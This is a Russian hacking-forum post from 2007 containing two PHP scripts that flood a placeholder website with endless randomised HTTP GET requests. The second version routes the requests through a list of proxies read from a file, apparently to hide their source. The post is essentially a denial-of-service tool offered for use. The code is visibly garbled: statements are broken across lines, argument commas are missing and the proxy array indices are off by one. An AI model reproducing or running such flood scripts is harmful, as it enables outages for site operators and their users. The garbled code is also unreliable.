Показать сообщение отдельно

  #6  
Старый 08.05.2007, 12:20
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

PHP код:
<?
set_time_limit
(0);
    
$host 'www.domain.com';
    while(
true) {
    
$path '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);
    
$fp =  fsockopen($host80$errno$errstr30);
    if(
$fp)
   
// ;)
    
{
        
$headers "GET $path HTTP/1.1\r\n";
        
$headers.= "Host: $host\r\n";
        
$headers.= "Connection: Close\r\n\r\n";
        
fwrite($fp$headers);
        while(!
feof($fp))
        {
        }
        }
        
fclose($fp);
    }
?>
Так.
Или через прокси.(Больная тема).
PHP код:
<?
    $host 
"www.domain.com";
    
$path '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);

//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy fopen('proxy.txt'r);
$proxy fread($f_proxy65000);
$proxy_server explode("\n"$proxy);
$n=count($proxy_server);
for (
$i=0$i<=count($proxy_server)-1$i++)
 {
  
$proxy_serv[$i] = explode(":"$proxy_server[$i]);
 }
fclose($f_proxy);

for (
$i=0$i<count($proxy_serv); $i++)
{
    
$fp =  fsockopen($proxy_serv[$i][1], $proxy_serv[$i][2], $errno$errstr10);
    if(
$fp)
   
// ;) 
    
{
        
$headers "GET $path HTTP/1.1\r\n";
        
$headers.= "Host: $host\r\n";
        
$headers.= "Connection: Close\r\n\r\n";

        
fwrite($fp$headers);
        while(!
feof($fp))
        {
            
$rez_data fread($fp,1024);
           
// здесь код для обработки ответа
          //А лучше действительно не           //принимать ответ.
        
}
        
fclose($fp);
    }
    else
    {
        echo 
"$errno $errstr";
    }
}
?>

Последний раз редактировалось BlackLogic; 08.05.2007 в 12:24..
 
Ответить с цитированием